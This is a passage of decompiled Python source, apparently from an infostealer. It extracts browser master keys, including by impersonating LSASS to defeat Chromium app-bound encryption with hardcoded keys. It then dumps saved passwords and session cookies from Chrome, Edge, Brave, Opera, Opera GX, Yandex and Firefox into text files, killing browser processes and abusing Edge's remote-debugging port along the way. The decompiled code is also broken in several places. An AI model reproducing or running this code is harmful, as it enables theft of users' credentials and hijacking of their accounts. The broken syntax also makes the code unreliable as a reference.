log_message(f'NCryptDecrypt (size check) failed: {hex(status & 4294967295)}')
pass
if hKey:
ncrypt.NCryptFreeObject(hKey)
if hProvider:
ncrypt.NCryptFreeObject(hProvider)
buffer_size = pcbResult.value
output_buffer = (ctypes.c_ubyte * buffer_size)()
status = ncrypt.NCryptDecrypt(hKey, input_data, len(input_data), None, output_buffer, buffer_size, ctypes.byref(pcbResult), 64)
if status!= 0:
log_message(f'NCryptDecrypt (actual) failed: {hex(status & 4294967295)}')
else:
return bytes(output_buffer[cbResult.value])
pass
ncrypt.NCryptFreeObject(hKey) if hKey else None
ncrypt.NCryptFreeObject(hProvider) if hProvider else b''
except Exception as e:
log_message(f'decrypt_with_cng exception: {e}')
return b''
def derive_v20_master_key(parsed_data: dict) -> bytes:
# ***<module>.derive_v20_master_key: Failure: Different bytecode
if parsed_data['flag'] == 1:
aes_key = bytes.fromhex('B31C6E241AC846728DA9C1FAC4936651CFFB944D143AB816276BCC6DA0284787')
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=parsed_data['iv'])
else:
if parsed_data['flag'] == 2:
chacha20_key = bytes.fromhex('E98F37D7F4E1FA433D19304DC2258042090E2D1D7EEA7670D41F738D08729660')
cipher = ChaCha20_Poly1305.new(key=chacha20_key, nonce=parsed_data['iv'])
else:
if parsed_data['flag'] == 3:
xor_key = bytes.fromhex('CCF8A1CEC56605B8517552BA1A2D061C03A29E90274FB2FCF59BA4B75C392390')
with impersonate_lsass():
decrypted_aes_key = decrypt_with_cng(parsed_data['encrypted_aes_key'])
if not decrypted_aes_key:
raise ValueError('decrypt_with_cng returned empty key')
else:
xored_aes_key = byte_xor(decrypted_aes_key, xor_key)
cipher = AES.new(xored_aes_key, AES.MODE_GCM, nonce=parsed_data['iv'])
else:
raise ValueError('Unsupported flag in derive_v20_master_key')
return cipher.decrypt_and_verify(parsed_data['ciphertext'], parsed_data['tag'])
def get_master_key(path):
# irreducible cflow, using cdg fallback
# ***<module>.get_master_key: Failure: Compilation Error
is_admin = False
try:
is_admin = ctypes.windll.shell32.IsUserAnAdmin()!= 0
except:
pass
log_message(f'--- get_master_key START: {path} ---')
log_message(f'Current Identity: {('Administrator' if is_admin else 'Standard User')}')
log_message(f'Windows module available: {windows is not None}')
if not os.path.exists(path):
log_message('Local State path does not exist.')
return None
try:
with open(path, 'r', encoding='utf-8') as f:
local_state = json.load(f)
except Exception as e:
log_message(f'Local State JSON load FAILED: {e}')
return None
if 'os_crypt' not in local_state:
log_message('\'os_crypt\' key missing in Local State.')
return None
os_crypt = local_state['os_crypt']
keys = {}
if 'app_bound_encrypted_key' in os_crypt:
raw_b64 = os_crypt['app_bound_encrypted_key']
key_blob_encrypted = base64.b64decode(raw_b64)
log_message(f'App-Bound key found. B64 Decoded len: {len(key_blob_encrypted)}. Header: {key_blob_encrypted[:4].hex()}')
if key_blob_encrypted.startswith(b'APPB'):
key_blob_encrypted = key_blob_encrypted[4:]
key_blob_user_decrypted = None
log_message('Attempting two-stage extraction (SYSTEM -> USER)')
with impersonate_lsass() as imp_success:
if imp_success:
res = win32crypt.CryptUnprotectData(key_blob_encrypted, None, None, None, 0)
if res and len(res) >= 2:
key_blob_system_decrypted = res[1]
log_message('Stage 1 (SYSTEM) DPAPI: SUCCESS')
res2 = win32crypt.CryptUnprotectData(key_blob_system_decrypted, None, None, None, 0)
if res2 and len(res2) >= 2:
key_blob_user_decrypted = res2[1]
log_message('Stage 2 (USER) DPAPI: SUCCESS')
if not key_blob_user_decrypted:
log_message('Trying user-only or deferred Stage 2 decryption...')
try:
target = key_blob_system_decrypted if 'key_blob_system_decrypted' in locals() else key_blob_encrypted
res3 = win32crypt.CryptUnprotectData(target, None, None, None, 0)
if res3 and len(res3) >= 2:
key_blob_user_decrypted = res3[1]
log_message('USER-only/Stage 2 outside: SUCCESS')
except Exception as e:
log_message(f'USER-only/Stage 2 outside FAILED: {e}')
if key_blob_user_decrypted:
parsed = parse_key_blob(key_blob_user_decrypted)
if parsed:
log_message(f'v20 Key Blob Parsed. Flag: {parsed.get('flag')}. deriving...')
m_key = derive_v20_master_key(parsed)
if m_key:
log_message('v20 Master Key derived: SUCCESS')
keys['v20'] = m_key
else:
log_message('parse_key_blob returned NULL data.')
v10_enc_key = os_crypt.get('encrypted_key') or os_crypt.get('encrypted_key_v10')
if v10_enc_key:
try:
m_key_enc = base64.b64decode(v10_enc_key)
log_message(f'Standard key found. Header: {m_key_enc[:5].hex()}')
if m_key_enc.startswith(b'DPAPI'):
m_key_enc = m_key_enc[5:]
decrypted = win32crypt.CryptUnprotectData(m_key_enc, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
log_message('v10 Master Key extracted: SUCCESS')
keys['v10'] = decrypted[1]
except Exception as e:
log_message(f'v10 extraction FAILED: {e}')
log_message(f'get_master_key FINISHED. Keys found: {list(keys.keys())}')
if keys:
return keys
else:
return None
except Exception as e:
log_message(f'Stage 2 (USER) inside LSASS FAILED: {e}')
except Exception as e:
log_message(f'Stage 1 (SYSTEM) DPAPI FAILED: {e}')
except Exception as e:
log_message(f'Critical error in App-Bound block: {e}')
def decrypt_password(buff, key=None):
# irreducible cflow, using cdg fallback
# ***<module>.decrypt_password: Failure: Compilation Error
if not buff:
return ''
if not key:
if windows:
try:
return windows.crypto.dpapi.unprotect(buff).decode('utf-8', errors='ignore')
except:
pass
else:
pass
decrypted = win32crypt.CryptUnprotectData(buff, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
return decrypted[1].decode('utf-8', errors='ignore')
return '[Çözülemedi]'
m_key = None
if isinstance(key, dict):
if buff.startswith(b'v20'):
m_key = key.get('v20')
else:
m_key = key.get('v10')
else:
m_key = key
if not m_key:
if buff.startswith(b'v20'):
return ''
else:
return ''
if buff.startswith(b'v10') or buff.startswith(b'v11') or buff.startswith(b'v20'):
if len(buff) < 15:
return '[Veri Çok Kısa]'
iv = buff[3:15]
payload = buff[15:]
ciphertext = payload[-16)]
tag = payload[(-16):]
cipher = AES.new(m_key, AES.MODE_GCM, nonce=iv)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
if len(decrypted) > 32 and buff.startswith(b'v20'):
return decrypted[32:].decode('utf-8', errors='ignore')
else:
return decrypted.decode('utf-8', errors='ignore')
if windows:
return windows.crypto.dpapi.unprotect(buff).decode('utf-8', errors='ignore')
decrypted = win32crypt.CryptUnprotectData(buff, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
return decrypted[1].decode('utf-8', errors='ignore')
return '[Çözülemedi]'
return '[Çözülemedi]'
except Exception as e:
return f'[AES Error] {str(e)}'
except Exception:
return '[Çözülemedi]'
except Exception:
return '[Çözülemedi]'
def decrypt_cookie_v20(encrypted_value, key):
# irreducible cflow, using cdg fallback
# ***<module>.decrypt_cookie_v20: Failure: Compilation Error
if not encrypted_value:
return ''
else:
m_key = None
if isinstance(key, dict):
if encrypted_value.startswith(b'v20'):
m_key = key.get('v20')
else:
m_key = key.get('v10')
else:
m_key = key
if not m_key:
if encrypted_value.startswith(b'v20'):
return ''
else:
return decrypt_password(encrypted_value, None)
else:
if encrypted_value.startswith(b'v10') or encrypted_value.startswith(b'v11'):
return decrypt_password(encrypted_value, m_key)
if len(encrypted_value) < 15:
return '[Veri Çok Kısa]'
iv = encrypted_value[3:15]
ciphertext = encrypted_value[15-16)]
tag = encrypted_value[(-16):]
cipher = AES.new(m_key, AES.MODE_GCM, nonce=iv)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
if encrypted_value.startswith(b'v20') and len(decrypted) > 32:
return decrypted[32:].decode('utf-8', errors='ignore')
else:
return decrypted.decode('utf-8', errors='ignore')
except Exception as e:
return f'[AES Error] {str(e)}'
def decrypt_edge_cookie_v20(encrypted_value, key):
# irreducible cflow, using cdg fallback
# ***<module>.decrypt_edge_cookie_v20: Failure: Compilation Error
if not encrypted_value:
return ''
else:
m_key = None
if isinstance(key, dict):
if encrypted_value.startswith(b'v20'):
m_key = key.get('v20')
else:
m_key = key.get('v10')
else:
m_key = key
if not m_key:
if encrypted_value.startswith(b'v20'):
return ''
else:
return decrypt_password(encrypted_value, None)
else:
if encrypted_value.startswith(b'v10') or encrypted_value.startswith(b'v11'):
return decrypt_password(encrypted_value, m_key)
if len(encrypted_value) < 19:
return '[Veri Çok Kısa]'
iv = encrypted_value[3:15]
ciphertext = encrypted_value[15-16)]
tag = encrypted_value[(-16):]
cipher = AES.new(m_key, AES.MODE_GCM, nonce=iv)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
if encrypted_value.startswith(b'v20') and len(decrypted) > 32:
return decrypted[32:].decode('utf-8', errors='ignore')
else:
return decrypted.decode('utf-8', errors='ignore')
except Exception as e:
return f'[AES Error] {str(e)}'
def save_cookies_netscape(name: str, cookie_file: str, key_file: str, output_path: str):
# irreducible cflow, using cdg fallback
# ***<module>.save_cookies_netscape: Failure: Compilation Error
if not browser_cookie3:
return None
with tempfile.TemporaryDirectory() as temp_dir:
temp_cookie_path = os.path.join(temp_dir, 'Cookies')
if shadow_copy:
shadow_copy(cookie_file, temp_cookie_path)
else:
shutil.copy2(cookie_file, temp_cookie_path)
cj = browser_cookie3.chromium(cookie_file=temp_cookie_path, key_file=key_file)
with open(output_path, 'w', encoding='utf-8') as f:
for cookie in cj:
domain = cookie.domain
flag = 'TRUE' if domain.startswith('.') else 'FALSE'
path = cookie.path
secure = 'TRUE' if cookie.secure else 'FALSE'
expiry = str(int(cookie.expires)) if cookie.expires else str(int(time.time() + 3600))
cname = cookie.name
value = cookie.value
f.write(f'{domain}\t{flag}\t{path}\t{secure}\t{expiry}\t{cname}\t{value}\n')
except Exception:
process_names = {'Chrome': 'chrome.exe', 'Edge': 'msedge.exe', 'Opera': 'opera.exe', 'Opera GX': 'launcher.exe', 'Yandex': 'browser.exe', 'Brave': 'brave.exe'}
proc_name = process_names.get(name, None)
if proc_name:
for p in psutil.process_iter(['name']):
if p.info['name'] and p.info['name'].lower() == proc_name.lower():
try:
p.kill()
except Exception:
pass
else:
pass
shutil.copy2(cookie_file, temp_cookie_path)
except Exception:
return None
def get_opera_cookies(output_dir=None):
# ***<module>.get_opera_cookies: Failure: Different bytecode
if not browser_cookie3:
return None
else:
opera_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'Opera Software', 'Opera Stable'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'Opera Software', 'Opera'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'Opera Software', 'Opera Beta'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'Opera Software', 'Opera Developer'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera', 'User Data')]
base = None
for path in opera_paths:
cookie_file = os.path.join(path, 'Default', 'Network', 'Cookies')
local_state_file = os.path.join(path, 'Local State')
if os.path.exists(cookie_file) and os.path.exists(local_state_file):
base = path
break
if base:
try:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'opera_cookies.txt')
cookie_file = os.path.join(base, 'Default', 'Network', 'Cookies')
local_state_file = os.path.join(base, 'Local State')
save_cookies_netscape('Opera', cookie_file, local_state_file, output_file)
except Exception:
return None
def get_yandex_cookies(output_dir=None):
# ***<module>.get_yandex_cookies: Failure: Different bytecode
if not browser_cookie3:
return None
else:
yandex_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Yandex', 'YandexBrowser', 'User Data'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Yandex', 'YandexBrowser-Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Yandex', 'YandexBrowser', 'User Data')]
base = None
for path in yandex_paths:
default_path = os.path.join(path, 'Default')
cookies_path = os.path.join(default_path, 'Network', 'Cookies')
local_state_path = os.path.join(path, 'Local State')
if os.path.exists(cookies_path) and os.path.exists(local_state_path):
base = path
break
if base:
try:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'yandex_cookies.txt')
default_path = os.path.join(base, 'Default')
cookies_path = os.path.join(default_path, 'Network', 'Cookies')
local_state_path = os.path.join(base, 'Local State')
save_cookies_netscape('Yandex', cookies_path, local_state_path, output_file)
except Exception:
return None
def get_brave_cookies(output_dir=None):
# ***<module>.get_brave_cookies: Failure: Different bytecode
if not browser_cookie3:
return []
else:
brave_paths = [os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser-Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser-Dev', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser-Nightly', 'User Data')]
brave_path = None
for path in brave_paths:
if os.path.exists(path):
brave_path = path
break
if not brave_path:
return []
else:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'brave_cookies.txt')
cookies_path = os.path.join(brave_path, 'Default', 'Network', 'Cookies')
local_state_path = os.path.join(brave_path, 'Local State')
if os.path.exists(cookies_path) and os.path.exists(local_state_path):
save_cookies_netscape('Brave', cookies_path, local_state_path, output_file)
profiles = [d for d in os.listdir(brave_path) if d.startswith('Profile')]
for profile in profiles:
profile_cookies = os.path.join(brave_path, profile, 'Network', 'Cookies')
if os.path.exists(profile_cookies):
try:
save_cookies_netscape(f'Brave ({profile})', profile_cookies, local_state_path, output_file)
except Exception:
pass
def get_firefox_cookies(output_dir=None):
# irreducible cflow, using cdg fallback
# ***<module>.get_firefox_cookies: Failure: Compilation Error
if not browser_cookie3:
return None
else:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'firefox_cookies.txt')
cj = browser_cookie3.firefox()
with open(output_file, 'w', encoding='utf-8') as f:
for cookie in cj:
domain = cookie.domain
flag = 'TRUE' if domain.startswith('.') else 'FALSE'
path = cookie.path
secure = 'TRUE' if cookie.secure else 'FALSE'
expiry = str(int(cookie.expires)) if cookie.expires else str(int(time.time() + 3600))
cname = cookie.name
value = cookie.value
f.write(f'{domain}\t{flag}\t{path}\t{secure}\t{expiry}\t{cname}\t{value}\n')
except Exception:
return None
def get_edge_key():
# irreducible cflow, using cdg fallback
# ***<module>.get_edge_key: Failure: Compilation Error
LOCAL_APP_DATA = os.environ['LOCALAPPDATA']
edge_key_paths = [os.path.join(LOCAL_APP_DATA, 'Microsoft', 'Edge', 'User Data', 'Local State'), os.path.join(LOCAL_APP_DATA, 'Microsoft', 'Edge SxS', 'User Data', 'Local State'), os.path.join(LOCAL_APP_DATA, 'Microsoft', 'Edge Beta', 'User Data', 'Local State'), os.path.join(LOCAL_APP_DATA, 'Microsoft', 'Edge Dev', 'User Data', 'Local State')]
key_path = None
for path in edge_key_paths:
if os.path.exists(path):
key_path = path
break
if not key_path:
return None
with open(key_path, 'r', encoding='utf-8') as f:
local_state = json.load(f)
v10_key = None
if 'encrypted_key' in local_state.get('os_crypt', {}):
encoded_key = local_state['os_crypt']['encrypted_key']
try:
backup_key = base64.b64decode(encoded_key)
if backup_key.startswith(b'DPAPI'):
backup_key = backup_key[5:]
v10_key = win32crypt.CryptUnprotectData(backup_key, None, None, None, 0)[1]
except Exception as e:
log_message(f'Edge v10 backup failed: {e}')
keys = {}
if v10_key:
keys['v10'] = v10_key
if 'app_bound_encrypted_key' in local_state.get('os_crypt', {}):
log_message('Edge app_bound_encrypted_key found')
encrypted_key_raw = base64.b64decode(local_state['os_crypt']['app_bound_encrypted_key'])
if encrypted_key_raw.startswith(b'APPB'):
encrypted_key = encrypted_key_raw[4:]
else:
encrypted_key = encrypted_key_raw
key_blob_user_decrypted = None
log_message('Attempting Edge two-stage extraction (SYSTEM -> USER)')
key_blob_system_decrypted = None
with impersonate_lsass() as imp_success:
if imp_success:
res = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)
if res and len(res) >= 2:
key_blob_system_decrypted = res[1]
log_message('Edge Stage 1 (SYSTEM) DPAPI: SUCCESS')
res2 = win32crypt.CryptUnprotectData(key_blob_system_decrypted, None, None, None, 0)
if res2 and len(res2) >= 2:
key_blob_user_decrypted = res2[1]
log_message('Edge Stage 2 (USER) DPAPI: SUCCESS')
if not key_blob_user_decrypted:
log_message('Trying Edge user-only or deferred Stage 2 decryption...')
try:
target = key_blob_system_decrypted if key_blob_system_decrypted else encrypted_key
res3 = win32crypt.CryptUnprotectData(target, None, None, None, 0)
if res3 and len(res3) >= 2:
key_blob_user_decrypted = res3[1]
log_message('Edge USER-only/Stage 2 outside: SUCCESS')
except Exception as e:
log_message(f'Edge USER-only/Stage 2 outside FAILED: {e}')
if key_blob_user_decrypted:
parsed = parse_key_blob(key_blob_user_decrypted)
if parsed:
log_message('Edge v20 Key Blob Parsed. deriving...')
m_key = derive_v20_master_key(parsed)
if m_key:
log_message('Edge v20 Master Key derived: SUCCESS')
keys['v20'] = m_key
if len(key_blob_user_decrypted) == 32:
keys['v20'] = key_blob_user_decrypted
log_message('Edge v20 Raw Key (32 bytes) found.')
return keys if keys else None
except Exception as e:
log_message(f'Edge Stage 2 (USER) inside LSASS FAILED: {e}')
except Exception as e:
log_message(f'Edge Stage 1 (SYSTEM) DPAPI FAILED: {e}')
except Exception as e:
log_message(f'Edge App-Bound complex extraction error: {e}')
except Exception as e:
log_message(f'get_edge_key failed: {e}')
def get_edge_cookies(output_dir=None):
# irreducible cflow, using cdg fallback
# ***<module>.get_edge_cookies: Failure: Compilation Error
if output_dir is None:
try:
output_dir = os.path.join(os.getcwd(), 'edge')
except Exception:
output_dir = 'edge'
os.makedirs(output_dir, exist_ok=True)
edge_paths = [os.path.join(os.getenv('LOCALAPPDATA', ''), 'Microsoft', 'Edge', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA', ''), 'Microsoft', 'Edge SxS', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA', ''), 'Microsoft', 'Edge Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA', ''), 'Microsoft', 'Edge Dev', 'User Data')]
edge_path = next((p for p in edge_paths if os.path.exists(p)), None)
if not edge_path:
return []
else:
edge_exe_paths = ['C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe', 'C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe']
exe_path = next((p for p in edge_exe_paths if os.path.exists(p)), None)
if not exe_path:
return []
else:
import subprocess
import time
import requests
import json
import psutil
try:
import websocket
except ImportError:
return []
for p in psutil.process_iter(['name']):
if p.info['name'] and 'msedge.exe' in p.info['name'].lower():
p.kill()
time.sleep(1)
profiles = [p for p in os.listdir(edge_path) if p.startswith('Default') or p.startswith('Profile')]
for profile_name in profiles:
profile_path = os.path.join(edge_path, profile_name)
cookies_db_path = os.path.join(profile_path, 'Network', 'Cookies')
if os.path.isfile(cookies_db_path):
port = 9222
cmd = [exe_path, '--headless=new', '--disable-gpu', '--restore-last-session', f'--remote-debugging-port={port}', '--remote-allow-origins=*', f'--user-data-dir={edge_path}']
proc = subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
time.sleep(3)
res = requests.get(f'http://localhost:{port}/json', timeout=3)
ws_url = res.json()[0]['webSocketDebuggerUrl']
ws = websocket.create_connection(ws_url, timeout=3)
ws.send(json.dumps({'id': 1, 'method': 'Network.getAllCookies'}))
resp = json.loads(ws.recv())
cookies = resp.get('result', {}).get('cookies', [])
cookie_lines = []
for c in cookies:
domain = c.get('domain', '')
flag = 'TRUE' if domain.startswith('.') else 'FALSE'
path = c.get('path', '/')
secure = 'TRUE' if c.get('secure') else 'FALSE'
expiry = str(int(c.get('expires', time.time() + 3600)))
name = c.get('name', '')
value = c.get('value', '')
cookie_lines.append(f'{domain}\t{flag}\t{path}\t{secure}\t{expiry}\t{name}\t{value}')
ws.close()
if cookie_lines:
safe_profile_name = ''.join((ch for ch in profile_name if ch.isalnum() or ch in [' ', '_', '-'])).rstrip()
with open(os.path.join(output_dir, f'edge_cookies_{safe_profile_name}.txt'), 'w', encoding='utf-8') as f:
f.write('\n'.join(cookie_lines))
proc.kill()
for p in psutil.process_iter(['name']):
if p.info['name'] and 'msedge.exe' in p.info['name'].lower():
p.kill()
continue
except Exception:
pass
continue
except Exception:
return None
def get_opera_gx_cookies(output_dir=None):
# ***<module>.get_opera_gx_cookies: Failure: Different bytecode
if not browser_cookie3:
return []
else:
try:
opera_gx_paths = [os.path.join(os.getenv('APPDATA'), 'Opera Software', 'Opera GX Stable'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera GX', 'User Data'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera GX Beta', 'User Data'), os.path.join(os.getenv('APPDATA'), 'Opera Software', 'Opera GX')]
opera_gx_path = None
for path in opera_gx_paths:
if os.path.exists(path):
opera_gx_path = path
break
if not opera_gx_path:
return []
else:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'opera_gx_cookies.txt')
cookies_path = os.path.join(opera_gx_path, 'Default', 'Network', 'Cookies')
local_state_path = os.path.join(opera_gx_path, 'Local State')
if not os.path.exists(cookies_path) or not os.path.exists(local_state_path):
return []
else:
save_cookies_netscape('Opera GX', cookies_path, local_state_path, output_file)
return True
except Exception:
return False
def get_chrome_cookies(output_dir=None):
# ***<module>.get_chrome_cookies: Failure: Different bytecode
if not browser_cookie3:
return []
else:
try:
chrome_paths = [os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome SxS', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome Dev', 'User Data')]
chrome_path = None
for path in chrome_paths:
if os.path.exists(path):
chrome_path = path
break
if not chrome_path:
return []
else:
if output_dir is None:
output_dir = os.getcwd()
output_file = os.path.join(output_dir, 'chrome_cookies.txt')
save_cookies_netscape('Chrome', os.path.join(chrome_path, 'Default', 'Network', 'Cookies'), os.path.join(chrome_path, 'Local State'), output_file)
except Exception:
return None
def extract_passwords(user_data_path, output_dir, prefix):
# irreducible cflow, using cdg fallback
# ***<module>.extract_passwords: Failure: Compilation Error
if not os.path.exists(user_data_path):
fallback_paths = []
if prefix == 'edge':
fallback_paths = [os.path.join(os.getenv('LOCALAPPDATA'), 'Microsoft', 'Edge', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Microsoft', 'Edge SxS', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Microsoft', 'Edge Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Microsoft', 'Edge Dev', 'User Data')]
else:
if prefix == 'chrome':
fallback_paths = [os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome SxS', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome Dev', 'User Data')]
else:
if prefix == 'brave':
fallback_paths = [os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser-Beta', 'User Data'), os.path.join(os.getenv('LOCALAPPDATA'), 'BraveSoftware', 'Brave-Browser-Dev', 'User Data')]
user_data_path = None
for path in fallback_paths:
if os.path.exists(path):
user_data_path = path
break
if not user_data_path:
return None
local_state = os.path.join(user_data_path, 'Local State')
key = get_master_key(local_state)
os.makedirs(output_dir, exist_ok=True)
try:
profiles = os.listdir(user_data_path)
except Exception:
return
for profile in profiles:
pass
login_db = os.path.join(user_data_path, profile, 'Login Data')
if not os.path.isfile(login_db):
continue
with tempfile.TemporaryDirectory() as temp_dir:
pass
tmp_db = os.path.join(temp_dir, f'{prefix}_tmp.db')
if shadow_copy:
pass
shadow_copy(login_db, tmp_db)
shutil.copy2(login_db, tmp_db)
conn = sqlite3.connect(tmp_db)
cur = conn.cursor()
cur.execute('SELECT origin_url, username_value, password_value FROM logins')
rows = cur.fetchall()
lines = []
for url, user, enc_pass in rows:
pass
if not enc_pass:
pass
continue
dec = decrypt_password(enc_pass, key)
if (dec.startswith('[Çözülemedi]') or dec.startswith('[ERROR]')) and (not key):
try:
decrypted = win32crypt.CryptUnprotectData(enc_pass, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
dec = decrypted[1].decode('utf-8', errors='ignore')
except Exception:
pass
if not dec.startswith('[Çözülemedi]') and (not dec.startswith('[ERROR]')):
pass
lines.append(f'_________404_MESCİDİ__________\nURL : {url}\nUsername : {user}\nPassword : {dec}\n')
cur.close()
conn.close()
if lines:
with open(os.path.join(output_dir, f'{prefix}_passwords_{profile}.txt'), 'w', encoding='utf-8') as f:
f.write('\n'.join(lines))
shutil.copy2(login_db, tmp_db)
except Exception:
pass
continue
except Exception:
pass
continue
def extract_opera_gx(output_dir=None):
# irreducible cflow, using cdg fallback
# ***<module>.extract_opera_gx: Failure: Compilation Error
opera_gx_paths = [os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera GX Stable'), os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera GX'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera GX', 'User Data'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera GX Beta', 'User Data')]
base_path = None
for path in opera_gx_paths:
if os.path.exists(path):
base_path = path
break
if not base_path:
return None
else:
if output_dir is None:
try:
output_dir = os.path.join(os.getcwd(), 'sifre', 'opera_gx')
except:
output_dir = 'sifre/opera_gx'
os.makedirs(output_dir, exist_ok=True)
local_state = os.path.join(base_path, 'Local State')
key = get_master_key(local_state)
try:
profiles = os.listdir(base_path)
except Exception:
return
for profile in profiles:
pass
login_db = os.path.join(base_path, profile, 'Login Data')
if not os.path.isfile(login_db):
continue
with tempfile.TemporaryDirectory() as temp_dir:
pass
tmp_db = os.path.join(temp_dir, 'opera_gx_tmp.db')
if shadow_copy:
pass
shadow_copy(login_db, tmp_db)
shutil.copy2(login_db, tmp_db)
conn = sqlite3.connect(tmp_db)
cur = conn.cursor()
cur.execute('SELECT origin_url, username_value, password_value FROM logins')
rows = cur.fetchall()
lines = []
for url, user, enc_pass in rows:
if not enc_pass:
continue
else:
dec = decrypt_password(enc_pass, key)
if (dec.startswith('[Çözülemedi]') or dec.startswith('[ERROR]')) and (not key):
try:
decrypted = win32crypt.CryptUnprotectData(enc_pass, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
dec = decrypted[1].decode('utf-8', errors='ignore')
except Exception:
pass
if not dec.startswith('[Çözülemedi]') and (not dec.startswith('[ERROR]')):
lines.append(f'_________404_MESCİDİ__________\nURL : {url}\nUsername : {user}\nPassword : {dec}\n\n')
cur.close()
conn.close()
if lines:
output_file = os.path.join(output_dir, f'opera_gx_passwords_{profile}.txt')
with open(output_file, 'w', encoding='utf-8') as f:
f.write(''.join(lines))
shutil.copy2(login_db, tmp_db)
except Exception:
pass
continue
def extract_opera_stable(output_dir=None):
# irreducible cflow, using cdg fallback
# ***<module>.extract_opera_stable: Failure: Compilation Error
opera_paths = [os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera Stable'), os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera'), os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera Beta'), os.path.join(os.environ['APPDATA'], 'Opera Software', 'Opera Developer'), os.path.join(os.getenv('APPDATA'), '..', 'Local', 'Programs', 'Opera', 'User Data')]
base_path = None
for path in opera_paths:
if os.path.exists(path):
base_path = path
break
if not base_path:
return None
else:
if output_dir is None:
try:
output_dir = os.path.join(os.getcwd(), 'sifre', 'opera')
except:
output_dir = 'sifre/opera'
os.makedirs(output_dir, exist_ok=True)
local_state = os.path.join(base_path, 'Local State')
key = get_master_key(local_state)
try:
profiles = os.listdir(base_path)
except Exception:
return
for profile in profiles:
pass
login_db = os.path.join(base_path, profile, 'Login Data')
if not os.path.isfile(login_db):
continue
with tempfile.TemporaryDirectory() as temp_dir:
pass
tmp_db = os.path.join(temp_dir, 'opera_stable_tmp.db')
if shadow_copy:
pass
shadow_copy(login_db, tmp_db)
shutil.copy2(login_db, tmp_db)
conn = sqlite3.connect(tmp_db)
cur = conn.cursor()
cur.execute('SELECT origin_url, username_value, password_value FROM logins')
rows = cur.fetchall()
lines = []
for url, user, enc_pass in rows:
if not enc_pass:
continue
else:
dec = decrypt_password(enc_pass, key)
if (dec.startswith('[Çözülemedi]') or dec.startswith('[ERROR]')) and (not key):
try:
decrypted = win32crypt.CryptUnprotectData(enc_pass, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
dec = decrypted[1].decode('utf-8', errors='ignore')
except Exception:
pass
if not dec.startswith('[Çözülemedi]') and (not dec.startswith('[ERROR]')):
lines.append(f'_________404_MESCİDİ__________\nURL : {url}\nUsername : {user}\nPassword : {dec}\n\n')
cur.close()
conn.close()
if lines:
output_file = os.path.join(output_dir, f'opera_passwords_{profile}.txt')
with open(output_file, 'w', encoding='utf-8') as f:
f.write(''.join(lines))
shutil.copy2(login_db, tmp_db)
except Exception:
pass
continue
def extract_yandex(output_dir=None):
# irreducible cflow, using cdg fallback
# ***<module>.extract_yandex: Failure: Compilation Error
